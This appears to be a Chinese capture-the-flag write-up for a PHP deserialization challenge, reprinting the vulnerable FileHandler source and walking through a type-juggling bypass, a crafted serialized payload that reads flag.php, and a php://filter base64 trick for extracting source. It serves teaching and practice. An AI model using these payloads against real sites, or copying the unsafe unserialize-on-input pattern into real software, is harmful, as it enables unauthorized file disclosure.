1、解题思路
打开题目是一串代码,好耶是我们最喜欢的代码审计
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
解题流程
分析代码可以得到以下关键信息
1、接收str参数并进行反序列化------提交序列化数据str

2、在提交前对str进行过滤,如果字符中包含ascii值不在该范围的就直接返回false

3、FileHandler类包含三个属性op;filename;$content,且有俩个魔术函数其中__destruct是一定会执行的,然后可以看到该函数是对op进行判断了,是否强等于"2",如果等于就赋值为一然后content置空,然后在执行process()

4、然后看process(),如果op=1就执行write函数,op等于2就执行read()函数(read就是读,write就是写

破题关键
分析一下上述流程那到这里就已经可以知道怎么得到flag了------序列化一个FileHandler对象,然后设置他的
op为2 ------(这里主要是destruct函数是强等于字符串2,而process是弱等于,那就可以让op等于数值2从而绕过destruct函数)
,filename等于flag.php,content随便等于啥都行,这样答案就出来了吗?
php
<?php
class FileHandler {
protected $op= 2;
protected $filename="flag.php";
protected $content="sssss";
}
$obj=new FileHandler();
echo serialize($obj)
?>
随后我们输出序列化字符str=O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:8:"flag.php";s:10:"*content";s:5:"sssss";}
然后我们会发现并没有得到flag反而是bad hack,为什么呢?
因为is_valid对我们的str进行了过滤,而我们序列化非公有属性时输出的属性前会有一些不可见的字符,所以会被拦截,所以我们把前面的字符删了就行(虽然这里可以直接把属性设为公有的就行,主要是为了引出知识点。。。)然后我们得到str=O:11:"FileHandler":3:{s:5:"op";i:2;s:11:"filename";s:8:"flag.php";s:10:"content";s:5:"sssss";}
随后就可以得到flag,当然这个flag是被隐藏了的,要查看网页源码才能看到
如果想能直接看到flag,可以使用php的filter伪协议就行base64编码
2、涉及关键知识点和疑惑解析
1、PHP序列化
含有private和protected权限的变量时,会在变量名前添加ASCII码为0的不可见字符,这些字符在显示和输出时可能不易察觉,甚至导致数据截断。为了清晰查看,可将序列化后的字符串进行urlencode编码后打印输出
private私有属性序列化时:\x00类名\x00属性名
protected受保护属性序列化时:\x00*\x00 属性名
2、php魔术方法:
__construct:用于在创建对象时自动调用,主要用于初始化对象。
__destruct:它在对象被销毁时自动调用。这通常发生在对象的所有引用都被删除或者脚本执行结束时。
3、伪协议:filter
phpfilter,关键功能是在读取 文件内容时对 数据进行预处理 (比如编码),这个过程会绕过 PHP 的直接解析执行能直接获取文件的源码
基本格式如下: php ://filter/[过滤方式]/[过滤器]/resource=[目标文件]
4、强等于弱等于
| 比较符号 | 名称 | 校验规则 | 核心特点 |
|---|---|---|---|
== |
弱等于 | 只校验「值是否相等」,不校验「数据类型」 | 会自动转换两边数据类型后比较 |
=== |
强等于 | 同时校验「值相等」+「数据类型完全一致」 | 不转换类型,直接严格对比 |